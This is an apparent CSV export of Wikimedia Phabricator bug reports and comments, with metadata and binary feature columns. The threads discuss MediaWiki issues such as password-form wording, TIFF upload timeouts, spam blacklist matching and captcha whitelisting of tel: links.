+During development of E:OpenID, I found that the SpecialChangePassword shows the ""Temporary password"" text only if I apply this patch.
+
+https://gerrit.wikimedia.org/r/#/c/96651/
+
+I suppose, but I am not sure, that this was a design mistake (in the old version of ChangePassword) to check against the passed parameter $user instead of (new version) to check against $wgUser.
+
+This is a request for comments.
+
+Chris answered on Patch Set 4: Code-Review-1:
+
+> This seems like the wrong way to accomplish this, and seems like it relies on another bug that might disappear.
+> I'd rather see this use a parameter to showForm(), or use a flag in the class to indicate what wording you want, and then have your code set that.
+
+
+I still think, that originally $wgUser was meant, perhaps you can ask around.
+
+For my extension OpenID, which calls under certain conditions ChangePassword, an additional parameter would be fine, in order to trigger the correct label text ""temporary password"".
+
+--------------------------
+**Version**: 1.23.0
+**Severity**: normal",Medium,50.0,1385712240,,PHID-USER-ppvnwr24o32pux3le5ov,False,,False,PHID-TASK-ncuztcm7opqlqudzyedj,task_description,open,True,c3,1,False,False,,-83,True,0,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,0,0,0,0,0,1,1,0,0,1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+271101,[RFC] make SpecialChangePassword form text depending on login status of $wgUser,"Change 96651 had a related patch set uploaded by Wikinaut:
+make SpecialChangePassword form text depending on login status of wgUser
+
+https://gerrit.wikimedia.org/r/96651",,,1385712626,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ncuztcm7opqlqudzyedj,task_subcomment,,True,c3,1,False,,,-83,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+59717,"Systematic HTTP 503 timeouts by uploading big (<100MB) TIFF images via API action=upload, without stash, without async","Mediawiki gives systematically a HTTP timeout (503) although everything is OK with the upload. For example with this picture:
+https://commons.wikimedia.org/wiki/File:Haubitzenbatterie_mittleren_Rheinbr%C3%BCcke_-_CH-BAR_-_3237358.tif
+
+--------------------------
+**Version**: 1.23.0
+**Severity**: major",Medium,50.0,1385659320,1709361549.0,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,PHID-USER-dpu5hmqvprhycqlkdzrk,False,PHID-TASK-dni353kodl3tg2m3q3t3,task_description,declined,True,c3,1,False,False,False,-83,True,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+2289284,"Systematic HTTP 503 timeouts by uploading big (<100MB) TIFF images via API action=upload, without stash, without async","This bug is too old and too lacking in details to be actionable. Possibly https://gerrit.wikimedia.org/r/c/mediawiki/core/+/1007983 may help with this, but who knows.
+
+If error is still happening, please file a new bug.",,,1709361549,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-dni353kodl3tg2m3q3t3,task_subcomment,,True,c3,3,True,,,452,True,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+270358,"Systematic HTTP 503 timeouts by uploading big (<100MB) TIFF images via API action=upload, without stash, without async","I don't know. I don't have made systematic tests.
+
+But I have uploaded thousands of tiff files on Commons and my feeling is that everything is OK until ~95MB, over this limit you will maybe have a timeout.
+
+I think that the post-treatment of the TIFF upload (checks, ...) is in some case longer than proxy/apache timeout thresholds and in such cases, this error occurs.",,,1387281326,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-dni353kodl3tg2m3q3t3,task_subcomment,,True,c3,1,False,,,-81,True,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+270354,"Systematic HTTP 503 timeouts by uploading big (<100MB) TIFF images via API action=upload, without stash, without async","(In reply to comment #4)
+> I mean <100MB.
+
+Then what range does ""big TIFF images"" mean if it's also smaller than 100MB?",,,1387280946,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dni353kodl3tg2m3q3t3,task_subcomment,,True,c3,1,True,,,-81,True,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,0,0,0,1,0,1
+270349,"Systematic HTTP 503 timeouts by uploading big (<100MB) TIFF images via API action=upload, without stash, without async",I mean <100MB. I think the bug is easy to reproduce with the example I have given.,,,1387273189,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-dni353kodl3tg2m3q3t3,task_subcomment,,True,c3,1,False,,,-81,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1
+270345,"Systematic HTTP 503 timeouts by uploading big (<100MB) TIFF images via API action=upload, without stash, without async","Did you mean >100MB instead of <100MB in the bug summary? 
+If so, feel free to fix.",,,1387272597,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dni353kodl3tg2m3q3t3,task_subcomment,,True,c3,1,True,,,-81,True,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1
+270342,"Systematic HTTP 503 timeouts by uploading big (<100MB) TIFF images via API action=upload, without stash, without async","This is done using the API action=upload, without stash, without async. The most simple way.",,,1385719037,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-dni353kodl3tg2m3q3t3,task_subcomment,,True,c3,1,False,,,-83,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0
+270339,"Systematic HTTP 503 timeouts by uploading big (<100MB) TIFF images via API action=upload, without stash, without async","For these types of bugs, please include method of upload (aka was chunked upload used, and in particular was the async option used. If you're not sure just include which program used to upload - UploadWizard, Special:Upload, or something else).",,,1385680773,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-dni353kodl3tg2m3q3t3,task_subcomment,,True,c3,1,True,,,-83,True,0,1,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+59635,Make $wgPersonaLoginAnywhere work with $wgSecureLogin,"$wgPersonaLoginAnywhere turns on having the Persona login button on every page in the Personal URLs section, rather than just having a button on the login page.
+
+However, when $wgSecureLogin is enabled, all logins must be over HTTPS. Right now this is handled poorly: if the user is on HTTP and clicks the Persona login button, they go through the whole login process just to get an API error.
+
+Unfortunately, there's really no way to make it work completely, but there are a couple of options:
+
+1) Throw a configuration error if a sysadmin tries to have $wgSecureLogin turned on, $wgPersonaLoginAnywhere turned on, and $wgServer with non-HTTPS as the scheme
+2) Automatically redirect all users to HTTPS (probably the less friendly option)
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1385512620,1484383241.0,PHID-USER-ea6gwat27oulytc5tvsy,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-esh4zk4zdc5xdhsrduzc,task_description,declined,True,c3,1,False,False,False,-84,True,1,0,1,1,0,1,1,0,0,1,1,1,0,0,1,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+791551,Make $wgPersonaLoginAnywhere work with $wgSecureLogin,"From T155291:
+
+> Closing as the Persona service has been shut down. 
+> 
+>>>! From **[Mozilla](https://developer.mozilla.org/en-US/Persona)**:
+>> Persona is no longer actively developed by Mozilla. Mozilla kept operational and security support of the persona.org service until November 2016.
+>> On November 30th, 2016, the persona.org services were shut down.
+> 
+> See also:
+> * <https://developer.mozilla.org/en-US/Persona>
+> * <https://wiki.mozilla.org/Identity/Persona_Shutdown_Guidelines_for_Reliers>
+",,,1484383241,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-esh4zk4zdc5xdhsrduzc,task_subcomment,,True,c3,3,True,,,80,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+59513,Change interwiki for smw.o to https,"semantic-mediawiki.org offers https access. Thus it will be nice if the link for the existing interwiki prefix ""semantic-mw"" could be changed to ""https://www.semantic-mediawiki.org/wiki/$1"". Many thanks in advance!
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://semantic-mediawiki.org/wiki/Semantic_MediaWiki",Medium,50.0,1385325840,1385342222.0,PHID-USER-37d2msujvpp2rippbzoq,False,,False,PHID-TASK-dt7vhebhzjxphnpx6qqs,task_description,invalid,True,c3,1,False,False,True,-84,True,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,0
+258559,Change interwiki for smw.o to https,Thank you for the hint. I filed the request at https://meta.wikimedia.org/wiki/Talk:Interwiki_map#semantic-mw,,,1385369204,,PHID-USER-37d2msujvpp2rippbzoq,False,,,PHID-TASK-dt7vhebhzjxphnpx6qqs,task_subcomment,,True,c3,1,False,,,-84,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+258555,Change interwiki for smw.o to https,Please ask at [[m:Talk:Interwiki map]].,,,1385342222,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-dt7vhebhzjxphnpx6qqs,task_subcomment,,True,c3,1,True,,,-84,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+58932,Spam BlackList doesn't block links which doesn't have http or https,"Spam BlackList doesn't block links which doesn't have http or https or // (at the first)
+
+for example I could add www.atbriders.com to the text which is listed in https://en.wikipedia.org/wiki/MediaWiki:Spam-blacklist
+
+see
+https://en.wikipedia.org/wiki/User:Yamaha5/Spam-blacklist
+
+it should block also URLs which doesn't have http: or https: or // (at the first)
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1384244160,1384277715.0,PHID-USER-dswbdv7ibhsefllcqarz,False,,False,PHID-TASK-ifrystfzv4mleltqnvzf,task_description,declined,True,c3,1,False,False,True,-86,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
+272144,Spam BlackList doesn't block links which doesn't have http or https,--> AbuseFilter territory by definition,,,1384277715,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ifrystfzv4mleltqnvzf,task_subcomment,,True,c3,1,True,,,-86,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+272137,Spam BlackList doesn't block links which doesn't have http or https,"spam blacklist was designed to block linking to black listed urls.
+Thats why only the added external links are checked, no content.
+
+You can use AbuseFilter when you want text searches for plain website names.
+
+Supporting INVALID",,,1384272697,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-ifrystfzv4mleltqnvzf,task_subcomment,,True,c3,1,True,,,-86,True,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+272130,Spam BlackList doesn't block links which doesn't have http or https,"(In reply to comment #2)
+> I don't see any sane way to do this (and am tempted to close as INVALID).
+> 
+> Text not starting with http:// simply is not a link - it is text.
+> 
+> So you want to block any word which has two dots in it?
+
+No I don't want to block any word which has two dots in it!
+I said when we define 
+\bexample\.com\b
+it should also block www.example.com 
+it is a website address",,,1384256717,,PHID-USER-dswbdv7ibhsefllcqarz,False,,,PHID-TASK-ifrystfzv4mleltqnvzf,task_subcomment,,True,c3,1,False,,,-86,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+272123,Spam BlackList doesn't block links which doesn't have http or https,"I don't see any sane way to do this (and am tempted to close as INVALID).
+
+Text not starting with http:// simply is not a link - it is text.
+
+So you want to block any word which has two dots in it?",,,1384255962,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ifrystfzv4mleltqnvzf,task_subcomment,,True,c3,1,True,,,-86,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+272117,Spam BlackList doesn't block links which doesn't have http or https,Now many articles are effected by this bug and users adds their Spam links to the articles without any blockage!,,,1384244275,,PHID-USER-dswbdv7ibhsefllcqarz,False,,,PHID-TASK-ifrystfzv4mleltqnvzf,task_subcomment,,True,c3,1,False,,,-86,True,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+58485,"Catches non-http/https links, but cannot whitelist them via MediaWiki:Captcha-addurl-whitelist","The ConfirmEdit extension allows for local wikis to whitelist links using [[MediaWiki:Captcha-addurl-whitelist]]. But this only allows for whitelisting http and https links, even though the extension will trigger a captcha for any protocol.
+
+The question here is twofold:
+1. Should ConfirmEdit trigger captchas for other types of links in the first place?
+2. If so, how can we extend [[MediaWiki:Captcha-addurl-whitelist]] to allow these to be whitelisted?
+
+Personally, I'm inclined to answer ""yes"" and ""Perhaps add flags like in [[MediaWiki:TitleBlacklist]], one of which would indicate that this line should not be prefixed with /^https?:\/\/+[a-z0-9_\-.]*/""
+
+--------------------------
+**Version**: master
+**Severity**: normal
+**URL**: https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(technical)#Contains_external_links",Medium,50.0,1383334140,1386352774.0,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,False,PHID-TASK-apzftii3ko6bfgxegblk,task_description,resolved,True,c3,1,True,False,True,-87,True,1,0,0,1,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,0,1,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+271973,"Catches non-http/https links, but cannot whitelist them via MediaWiki:Captcha-addurl-whitelist","Change merged. It should be deployed to WMF wikis with 1.23wmf7, see https://www.mediawiki.org/wiki/MediaWiki_1.23/Roadmap for the schedule.",,,1386352774,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-apzftii3ko6bfgxegblk,task_subcomment,,True,c3,1,True,,,-82,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+271969,"Catches non-http/https links, but cannot whitelist them via MediaWiki:Captcha-addurl-whitelist","Change 97317 merged by jenkins-bot:
+Allow 'noprotocol' option in captcha-addurl-whitelist
+
+https://gerrit.wikimedia.org/r/97317",,,1386352444,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-apzftii3ko6bfgxegblk,task_subcomment,,True,c3,1,False,,,-82,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+271963,"Catches non-http/https links, but cannot whitelist them via MediaWiki:Captcha-addurl-whitelist","I had it on my todo list since November 1, and your comment coincidentally came at the same time I found the combination of volunteer time and motivation to work on it ;)
+
+I'd use ""tel:// <noprotocol>"", or ""tel: <noprotocol>"" if the links don't use the //.",,,1385321675,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-apzftii3ko6bfgxegblk,task_subcomment,,True,c3,1,True,,,-84,True,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1
+271957,"Catches non-http/https links, but cannot whitelist them via MediaWiki:Captcha-addurl-whitelist","**singaporemaps** wrote:
+
+Thanks for the quick patch.
+
+To confirm, the regex for whitelisting tel: links would be something along the lines of - 
+
+tel <noprotocol> ?",,,1385298478,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-apzftii3ko6bfgxegblk,task_subcomment,,True,c3,1,False,,,-84,True,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,1
+271952,"Catches non-http/https links, but cannot whitelist them via MediaWiki:Captcha-addurl-whitelist","Change 97317 had a related patch set uploaded by Anomie:
+Allow 'noprotocol' option in captcha-addurl-whitelist
+
+https://gerrit.wikimedia.org/r/97317",,,1385231372,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-apzftii3ko6bfgxegblk,task_subcomment,,True,c3,1,False,,,-84,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+271947,"Catches non-http/https links, but cannot whitelist them via MediaWiki:Captcha-addurl-whitelist","**singaporemaps** wrote:
+
+Should have checked the bug list beforehand. This above modification would be much appreciated.
+
+--
+
+On the English Wikivoyage, we have added tel:// protocol links to phone numbers
+so that users can dial through on their mobile phones. However, since tel://
+links are considered external links, all new phone numbers added now require a
+CAPTCHA to be filled.
+
+I checked MediaWiki:Captcha-addurl-whitelist, but it seems that it is
+restricted to HTTP/HTTPS. Is it possible to modify it to accept tel:// links,
+and maybe even geo:// links?",,,1385169214,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-apzftii3ko6bfgxegblk,task_subcomment,,True,c3,1,False,,,-84,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,1,1,1,0,1,1,1,1,0,1,0,0,1,0,1,1,1,0,0,0,0,1,1,0,1,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+271943,"Catches non-http/https links, but cannot whitelist them via MediaWiki:Captcha-addurl-whitelist","**singaporemaps** wrote:
+
+%%%*** Bug 57468 has been marked as a duplicate of this bug. ***%%%",,,1385169090,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-apzftii3ko6bfgxegblk,task_subcomment,,True,c3,1,False,,,-84,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+271938,"Catches non-http/https links, but cannot whitelist them via MediaWiki:Captcha-addurl-whitelist","(In reply to comment #0)
+> Personally, I'm inclined to answer ""yes"" and ""Perhaps add flags like in
+> [[MediaWiki:TitleBlacklist]], one of which would indicate that this line
+> should not be prefixed with /^https?:\/\/+[a-z0-9_\-.]*/""
+
+This sounds sensible to me.",,,1384270448,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-apzftii3ko6bfgxegblk,task_subcomment,,True,c3,1,True,,,-86,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,0,1,0,0,0,1
+58235,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","User signup during wikimedia installation -> Field is 'Real Name'
+
+While installing medaiawiki 1.21.2, in the sign up Page, The Feild 'Real Name' value is taken up by the Mediawiki server as 'username' and is used to login after the installation.
+
+The feild 'Real Name' should be changed to 'username' during installation step.e
+
+--------------------------
+**Version**: 1.21.x
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=56551
+
+**Attached**: {F11933}",Medium,50.0,1382960160,1383309235.0,PHID-USER-b3xlpjqyzhcppjoumu63,False,,False,PHID-TASK-hxora4fgzw5eiu5i4e32,task_description,resolved,True,c3,1,False,False,True,-88,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,1
+256199,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","Change 92681 merged by jenkins-bot:
+Renamed ""Your name"" to ""Your username"" to match with the Media wiki login page
+
+https://gerrit.wikimedia.org/r/92681",,,1383302481,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hxora4fgzw5eiu5i4e32,task_subcomment,,True,c3,1,False,,,-87,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0
+256190,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","Change 92682 abandoned by Bartosz Dziewoński:
+Renamed ""Your name"" to ""Your username"" to match with the Media wiki login page
+
+Reason:
+https://gerrit.wikimedia.org/r/#/c/92681/
+
+https://gerrit.wikimedia.org/r/92682",,,1383160387,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hxora4fgzw5eiu5i4e32,task_subcomment,,True,c3,1,False,,,-88,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,1
+256183,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","Change 92682 had a related patch set uploaded by Gerrit Patch Uploader:
+Renamed ""Your name"" to ""Your username"" to match with the Media wiki login page
+
+https://gerrit.wikimedia.org/r/92682",,,1383160261,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hxora4fgzw5eiu5i4e32,task_subcomment,,True,c3,1,False,,,-88,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0
+256175,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","Change 92681 had a related patch set uploaded by Gerrit Patch Uploader:
+Renamed ""Your name"" to ""Your username"" to match with the Media wiki login page
+
